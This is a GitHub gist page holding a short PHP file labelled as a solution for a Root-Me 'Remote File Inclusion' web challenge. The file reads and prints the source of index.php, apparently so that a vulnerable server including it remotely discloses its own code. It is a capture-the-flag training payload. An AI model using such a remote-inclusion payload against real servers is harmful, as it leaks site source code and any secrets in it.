Skip to content

Instantly share code, notes, and snippets.

@baotang2118
Last active July 11, 2020 05:46
Show Gist options
  • Save baotang2118/6fe151b6d24fdc06b477b57af705796c to your computer and use it in GitHub Desktop.
Save baotang2118/6fe151b6d24fdc06b477b57af705796c to your computer and use it in GitHub Desktop.
Rootme/ Web server/ Remote File Inclusion
<html>
<body>
<pre>
<?php
$myfile = fopen("index.php", "r") or die("Unable to open file!");
echo fread($myfile,filesize("index.php"));
fclose($myfile);
?>
</pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment